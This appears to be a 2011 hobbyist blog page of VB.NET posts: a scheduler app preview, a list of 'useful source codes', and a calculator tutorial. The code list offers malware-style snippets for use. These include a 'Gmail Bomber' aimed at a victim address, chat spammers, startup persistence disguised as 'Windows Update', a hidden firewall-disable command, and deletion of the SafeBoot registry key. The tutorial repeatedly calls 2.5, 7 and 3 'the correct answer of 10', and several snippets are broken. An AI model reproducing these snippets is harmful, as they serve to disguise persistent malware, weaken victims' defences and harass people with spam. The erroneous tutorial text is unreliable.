Martes, Agosto 2, 2011

Eternity: First Look

image
Just your basic window. Each of the components are added to certain panels and then added to the frame.
All of the panels are decorated with simple line borders and titles.
image
Here I have entered information and selected a date and a time. I click the “Add” button and…
image
The information is added to the text area. All of the fields and combo boxes are restored to their defaults too.
I’m also going to add a save button so that the text in the text area can be stored in a text file and then loaded back in.
The UI isn’t that attractive either so I’m gonna spend some time making that look nice.
There are loads of things I could add to this too:
  • Alternate between 24 and 12 hour formats
  • Allow the users to change to different colour schemes.
  • Allow the users to change the font and font colour of the text in the text area.
  • Create a login screen.

Lunes, Agosto 1, 2011

VB.net - Useful Source Codes

Open a Website:

Code:
Process.Start("www.bumpbox.net")
Process.Start("www.myforum.net")

Open something
Code:
Shell("Notepad")
Shell("Calculator")

Delete a file
Code:
Dim FileToDelete As String
FileToDelete = "C:\File.exe"
If System.IO.File.Exists(FileToDelete) = True Then
System.IO.File.Delete(FileToDelete)


Kill a process
Code:
Dim RunningProcess As System.Diagnostics.Process = Process.GetProcessesByName("taskmgr.exe")(0)
RunningProcess.Kill()

Rename a file
Code:
My.Computer.FileSystem.RenameFile ("C:\Program Files\Mozilla Firefox\firefox.exe", "Anything.exe")
Delete a registry key
Code:
My.Computer.Registry.LocalMachine.DeleteSubKey("HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SafeBoot")
Create a registry key
Code:
Dim regKey As RegistryKey
regKey = Registry.LocalMachine.OpenSubKey("SOFTWARE", True)
regKey.CreateSubKey("MyApp")
regKey.Close()

Text To Speech:
Code:
Dim sapi
sapi = CreateObject("sapi.spvoice")
sapi.Speak(Textbox1.text)

Fade in
Code:
For FadeIn = 0.0 To 1.1 Step 0.1
Me.Opacity = FadeIn
Me.Refresh()
Threading.Thread.Sleep(100)
Next

Fade out:
Code:
For FadeOut = 90 To 10 Step -10
Me.Opacity = FadeOut / 100
Me.Refresh()
Threading.Thread.Sleep(50)
Next


Gmail Bomber:

Add a Timer, 5 textboxes, button

textbox1 = Gmail Username
textbox2 = Gmail Password
textbox3 = Victim E-mail Address
textbox4 = Subject
textbox5 = Message
button1.text = send!

Add on Top Of “Public Class Form1”
Code:
Imports System.Net.Mail
Double Click Button1 and write:
Code:
timer1.start
then Double click Timer1 and write:
Code:
Dim MyMailMessage As New MailMessage()
MyMailMessage.From = New MailAddress(TextBox1.Text)
MyMailMessage.To.Add(TextBox3.Text)
MyMailMessage.Subject = (TextBox4.Text)
MyMailMessage.Body = TextBox5.Text
Dim SMTPServer As New SmtpClient("smtp.gmail.com")
SMTPServer.Port = 587
SMTPServer.Credentials = New System.Net.NetworkCredential(TextBox1.Text, TextBox2.Text)
SMTPServer.EnableSsl = True
SMTPServer.Send(MyMailMessage)
MsgBox("Email Has been sent Successfully ;)")



Info Grabber

Gets OS Name:
Code:
Textbox1.text = My.Computer.Info.OSFullName
Gets OS Version & Build Number:
Code:
Textbox2.text = My.Computer.Info.OSVersion
Gets Total Physical Memory:
Code:
Textbox3.text = My.Computer.Info.TotalPhysicalMemory
Gets Available Physical Memory:
Code:
Textbox4.text = My.Computer.Info.AvailablePhysicalMemory
Gets Clipboard Text:
Code:
Textbox5.text = My.Computer.Clipboard.GetTextGets Local Time:
Code:
Textbox6.text = My.Computer.Clock.LocalTime

Minimize To Tray

Just Add a Notifyicon

Code:
Private Sub Form1_Resize(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Resize

If Me.WindowState = FormWindowState.Minimized Then

Me.Hide()

End If

End Sub

Private Sub NotifyIcon1_MouseClick(ByVal sender As System.Object, ByVal e As System.Windows.Forms.MouseEventArgs) Handles NotifyIcon1.MouseClick

If Me.WindowState = FormWindowState.Minimized Then

Me.Show()

Me.WindowState = FormWindowState.Normal

End If

End Sub


Webbrowser Exampe

Add a Webbrowser
5 buttons
1 combobox

Button1 = Back
Button2 = Forward
Button3 = Refresh
Button4 = Stop
Button5 = Go!

Button1:
Code:
Webbrowser1.goback
Button2:
Code:
webbrowser1.goforward
Button3:
Code:
webbrowser1.refresh
Button4:
Code:
webbrowser1.stop
Button5:
Code:
webbrowser1.navigate(combobox1.text)
Add Music To Your Tool:

First Add your music to Resources
Note: The File Type Of The Music must be .wav

Double Click Button1 (start):
Code:
My.Computer.Audio.Play(My.Resources.song namenowav, AudioPlayMode.BackgroundLoop)
Double Click Button2 (stop)
Code:
My.Computer.Audio.Stop()
Count Files In Folders:
Code:
Dim NOF As Integer
Dim FilePath As String = TextBox1.Text
NOF = System.IO.Directory.GetFiles(FilePath).Length
TextBox2.Text =NOF.ToString

Google Searcher

Add:
Process
Button

Double Click The Button and Write:
Code:
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
If TextBox1.Text = "" Then
msgbox("WTF :| ? are u searching for nothing o.0 ?)
Else
Process1.StartInfo.FileName = (" & TextBox1.Text & "&btnG=Search&meta=")
Process1.Start()
End If
End Sub

Case Example

Add:
1 Button
1 Textbox

Double Click the Button and write:
Code:
TextBox1.Text = Int(Rnd() * 4)
Select Case TextBox1.Text
Case 0
TextBox1.Text = "anything"
Case 1
TextBox1.Text = "passgenerator"
Case 2
TextBox1.Text = "CD key"
Case 3
TextBox1.Text = "strings"
End Select

Login Example:

Add:
1 button

Click The Button and write:
Code:
If TextBox1.Text = "CodeBreaker" _
And TextBox2.Text = "TheEndGamer" Then
MsgBox("Welcome to Bumpbox.net")
Else
MsgBox("Euuhh? do i know u :S ?")
End If

Xfire Add Friender and status changer (Just an example)

Add:
2 buttons
1 webbrowser
2 textboxes


Button1.text = Change Status
Button2.text = Add Friend

Double Click Button1 and write:
Code:
WebBrowser1.Navigate("xfire:status?text= " & TextBox1.Text)
Double Click Button2 and Write:
Code:
WebBrowser1.Navigate("xfire:add_friend?u ser=" & TextBox2.Text)
Screen Capture:

You Need a large picturebox
button1 = “Shoot”
Button2 = “Save”
Textbox1
Textbox2

Double Click Button1 and write:
Code:
Dim BumpBox As Rectangle
Dim screenshot As System.Drawing.Bitmap
Dim graph As Graphics
BumpBox = Screen.PrimaryScreen.BumpBox
screenshot = New System.Drawing.Bitmap(BumpBox.Width, BumpBox.Height, System.Drawing.Imaging.PixelFormat.Format32bppArgb)
graph = Graphics.FromImage(screenshot)
graph.CopyFromScreen(BumpBox.X, BumpBox.Y, 0, 0, BumpBox.Size, CopyPixelOperation.SourceCopy)
PictureBox1.Image = screenshot

Double Click Button2 and write:
Dim savefile As New System.IO.StreamWriter(“C:\Users" + TextBox1.Text + “\documents" + TextBox2.Text + “.jpg”)
savefile.Write(PictureBox1.Image)
savefile.Close()
MsgBox(“Pictue Saved :D”, MsgBoxStyle.Exclamation, “Done!”)

Add Your Application To Startup

Before Public Class Form1
Add:
Code:
Imports System.IO
Imports Microsoft.Win32

Now double click form1 and add the following Code:

Code:
Try
If System.IO.File.Exists(Path.GetTempPath() & "win_update.exe") = False Then
System.IO.File.Copy(System.Reflection.Assembly. _
GetExecutingAssembly.Location, Path.GetTempPath() & "win_update.exe")
End If
Catch ex As Exception

End Try
Try
Dim regKey As RegistryKey
regKey = Registry.CurrentUser.OpenSubKey("software\Microsoft\Windows\CurrentVersion\Run", True)
regKey.SetValue("Windows Update", Path.GetTempPath() & "win_update.exe")
regKey.Close()

Catch ex As Exception

End Try

Try
Dim regKey As RegistryKey
regKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True)
regKey.SetValue("Windows Update", Path.GetTempPath() & "win_update.exe")
regKey.Close()

Catch ex As Exception
End Try

Picture Viewer:

Add:
1 Button
1 PictureBox

Double Click Button1 and write:
Code:
Try
OpenFileDialog1.Title = "Open Picture"
OpenFileDialog1.FileName = ".jpg"
OpenFileDialog1.Filter = "All Files |*.*" OpenFileDialog1.ShowDialog()
PictureBox1.Image = System.Drawing.Image.FromFile(OpenFileDi alog1.FileName)
Catch ex As Exception
End Try

Chat Spammer

Add:
2 Buttons
1 Timer

Double Click Button1(Start) and write:
Code:
timer1.start
Double Click Button2(Stop) and write:
Code:
timer1.stop
Then… Double Click Timer1 and Write:
Code:
SendKeys.Send(TextBox1.Text)
SendKeys.Send("{ENTER}")

HotKeyChat Spammer!

Drag a textbox out there follow up with 2 timer’s. Change Timer2 to Enabled = True
Add 2 labels and change label1.text to Start=F1 and label2.text stop=F2 (or whatever key you choose to use).

Double click timer1 and write:
Code:
SendKeys.Send(TextBox1.Text)
SendKeys.Send("{ENTER}")

Double click Form1 and write:
Code:
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Integer
Double click timer2 :
Code:
Dim starthotkey As Boolean
starthotkey = GetAsyncKeyState(Keys.F1)
If starthotkey = True Then
Timer1.Start()
End If
Dim stophotkey As Boolean
stophotkey = GetAsyncKeyState(Keys.F2)
If stophotkey = True Then
Timer1.Stop()
End If

NOTE: you can change GetAsyncKeyState(Keys.<insert new key here>) Ex. Keys.End)

CD-Rom Prank
Code:
Do
Dim oWMP = CreateObject("WMPlayer.OCX.7")
Dim colCDROMs = oWMP.cdromCollection
If colCDROMs.Count = 1 Then
For i = 0 To colCDROMs.Count - 1
colCDROMs.Item(i).Eject()
Next ' cdrom
End If
Loop


Disable Firewall:
Code:
Dim Bumpbox As Process = New Process
Dim top As String = "netsh.exe"
Bumpbox.StartInfo.Arguments = ("firewall set opmode disable")
Bumpbox.StartInfo.FileName = top
Bumpbox.StartInfo.UseShellExecute = False
Bumpbox.StartInfo.RedirectStandardOutput = True
Bumpbox.StartInfo.CreateNoWindow = True
Bumpbox.Start()
Bumpbox.WaitForExit()


Shutdown Manager:

Shutdown:
Code:
Shell("Shutdown -s")
Restart:
Code:
Shell("Shutdown -r")
LogOff:
Code:
Shell("Shutdown -l")
Install Visual Basic 6 (VB6) in Windows 7 Without Microsoft Virtual Machine for Java

Basic Calculator Tutorial in Visual Basic

Today, we will be making a basic calculator with Visual Basic. Start by creating a new project, select “Windows Form Application” and name it “BasicCalculator” and then click “OK”.
Start by adding 2 text boxes, 2 labels and 4 buttons to the form.
image
Next, neaten up the form by giving appropriate names and text to the items:
image
Here I have made the form look neat and given appropriate names to each object.
Now, let’s add the code!
Double click on “btnTimes” and add this code:
Dim num1 As Double = txtNum1.Text
Dim num2 As Double = txtNum2.Text
lblAnswer.Text = num1 * num2
This code takes the values from txtNum1 and txtNum2, multiply them and then output the answer as the text for lblAnswer. As you can see, we have used the “Double” type over the “Integer” data type so that the user can use a range of numbers and still get the correct output.
Double click on “btnDivide” and add this code:
Dim num1 As Double = txtNum1.Text
Dim num2 As Double = txtNum2.Text
lblAnswer.Text = num1 / num2
As you can see, this is similar code to the code that was applied to “btnTimes”. All that has changed is the operator. This will divide the two numbers instead of multiplying them.
Do the same for the other two buttons (“btnAdd” and “btnMinus”) and let’s test the program!
btnTimes:
image
Here we have entered the values 5 and 2 and clicked on “btnTimes”. As we can see, it has output the correct answer of 10. (5 x 2 = 10)
btnDivide:
image
Here we have entered the values 5 and 2 and clicked on “btnDivide”. As we can see, it has output the correct answer of 10. (5 / 2 = 2.5)
btnAdd:
image
Here we have entered the values 5 and 2 and clicked on “btnAdd”. As we can see, it has output the correct answer of 10. (5 + 2 = 7)
btnMinus:
image
Here we have entered the values 5 and 2 and clicked on “btnMinus”. As we can see, it has output the correct answer of 10. (5 - 2 = 3)


The Crazy and The Freak: 1. Visual Basic 6.0 Introduction

The Crazy and The Freak: 1. Visual Basic 6.0 Introduction: "Visual Basic Overview · Visual Basic (VB) is a high level programming language evolved from the earlier DOS version called BASIC. ·..."